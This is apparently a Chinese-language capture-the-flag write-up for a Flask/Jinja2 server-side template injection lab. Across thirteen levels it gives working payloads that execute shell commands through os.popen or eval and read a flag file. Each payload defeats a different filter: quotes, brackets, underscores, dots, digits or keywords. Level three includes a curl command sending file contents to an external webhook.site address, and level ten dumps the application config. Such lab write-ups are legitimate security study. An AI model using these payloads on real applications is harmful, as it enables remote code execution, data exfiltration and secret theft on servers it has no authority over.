第一关
由于no waf 基础payload
{{().__class__.__base__.__subclasses__()[].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}使用bp添加载荷爆破:84,100,101,102,104,105,106,108,109,110等等 然后ls /app,发现flag——cat /app/flag——>Hello SSTILAB{enjoy_flask_ssti}
也可以不爆破索引值,直接
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}第二关
这一关就只是禁用了{{ }},所以用{%代替,不过flask模板中{%的作用是执行,需要加一个print
{%print().__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")%}然后就跟前一关没什么区别,拿到flag:SSTILAB{enjoy_flask_ssti}
{%print url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")%}第三关
最开始尝试使用webhook:{{ url_for.__globals__['__builtins__']['__import__']('os').popen('curl https://webhook.site/d9d9e344-71ae-43bd-9ce7-464f39111da3?data=cat /app/flag').read() }}发现不出网,写入静态文件
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('cat /app/flag > app/static/1.txt').read()")}}# 然后访问靶场/static/1.txt第四关
过滤了[],所以使用.__getitem__来代替,不想爆破索引值,直接url_for.__globals__
{{url_for.__globals__.__getitem__('__builtins__').__getitem__('eval')("__import__('os').popen('ls').read()")}}成功执行,然后步骤就和前几关一样了,拿到flagSSTILAB{enjoy_flask_ssti}
第五关
过滤了单双引号` ” "" 可以看2.代码执行函数python,我之后也会将单双引号绕过放到8中 可以采用的方法有chr()拼接和HTTP传参的组合拳 这里我采用HTTP的方法
GET: url?a=popen&b=ls
POST:code={{[].__class__.__base__.__subclasses__()[].__init__.__globals__[request.args.a](request.args.b).read()}}bp抓包,爆索引值133,然后cat%20/app/flag,拿到flagSSTILAB{enjoy_flask_ssti}
第六关
禁用了下划线利用request.args传参,.用| attr代替 或者是下划线进行unicode编码
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat /app/flag")|attr("read")()}}原样:{{ lipsum.__globals__['os'].popen('cat /app/flag').read() }}拿到flagSSTILAB{enjoy_flask_ssti}
第七关
禁用了.,直接| attr和__getitm__拿下
{{ lipsum| attr('__globals__')| attr('__getitem__')('os')| attr('popen')('cat /app/flag')| attr('read')() }}这个使用了| attr和__getitem__所以没什么大问题
第八关
这关开始禁用的多起来了class/arg/form/value/date/request/init/global/open/mro/base/attr 这么多关键的都禁了,那很明显,得拼接
{{lipsum['__glo'+'bals__']['__builtins__'].eval("__import__('os').po"+"pen('cat /app/flag').read()")}}最开始按照之前的payload直接进行了拼接{{lipsum['__glob'+'als']['o'+'s']('po'+'pen')('ls')['re'+'ad']()}}不对,试图用‘字典/列表’的方式去调用‘模块/对象的方法’,所以利用eval函数执行字符串,就拿到flag了
第九关
禁了数字0-9,那不用索引值不就是了
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /app/flag').read()")}}拿下
第十关
这关最开始没看到目标,以为也是找flag,甩了简单的paylaod就过了,回过去一看发现是get config 虽然是令config=None,但使用current_app或者get_flashed_messages就能得到config
# 1{{url_for.__globals__['current_app'].config}}# 2{{get_flashed_messages.__globals__['current_app'].config}}current_app——绕过被污染的「局部变量 config」,直接找到持有「真实 app.config」的 Flask 应用实例
第十一关
禁了单引号’,双引号”,+,request, . ,[]
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}{{url_for|attr(dict(__globals__=1)|join)|attr(dict(__getitem__=1)|join)(dict(__builtins__=1)|join)|attr(dict(__getitem__=1)|join)(dict(__import__=1)|join)(dict(os=1)|join)|attr(dict(popen=1)|join)(dict(ls=1)|join)|attr(dict(read=1)|join)()}}ls
{{url_for|attr(dict(__globals__=1)|join)|attr(dict(__getitem__=1)|join)(dict(__builtins__=1)|join)|attr(dict(__getitem__=1)|join)(dict(__import__=1)|join)(dict(os=1)|join)|attr(dict(popen=1)|join)(url_for|attr(dict(__globals__=1)|join)|attr(dict(__getitem__=1)|join)(dict(__builtins__=1)|join)|attr(dict(__getitem__=1)|join)(dict(bytes=1)|join)((99,97,116,32,97,112,112,47,102,108,97,103))|attr(dict(decode=1)|join)())|attr(dict(read=1)|join)()}}先拿到os.popen,然后构造构造 cat app/flag 字符串,通过通过 __builtins__['bytes'] 将数字转为字符串
第十二关
禁用了_/./0-9/\\/\/"/[]
这个题借鉴了以下的payload
{%set p=dict(pop=a)|join%}{%set na=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set x=()|select|string|list|attr(p)(na)%}{%set a=(x,x,dict(globals=a)|join,x,x)|join%}{%set b=dict(os=a)|join%}{%set c=dict(popen=a)|join%} {%set d=dict(read=a)|join%}{%set e=(x,x,dict(getitem=a)|join,x,x)|join%}{%set f=(x,x,dict(builtins=a)|join,x,x)|join%}{%set g=dict(chr=a)|join%}{%set aa=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set aaa=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} {%set ch=lipsum|attr(a)|attr(e)(f)|attr(e)(g)%}{%set cmd=(dict(cat=a)|join,ch(aa),ch(aaa),dict(app=a)|join,ch(aaa),dict(flag=a)|join)|join%} {{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}第十三关
禁了['_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']
跟上一关没什么区别找flag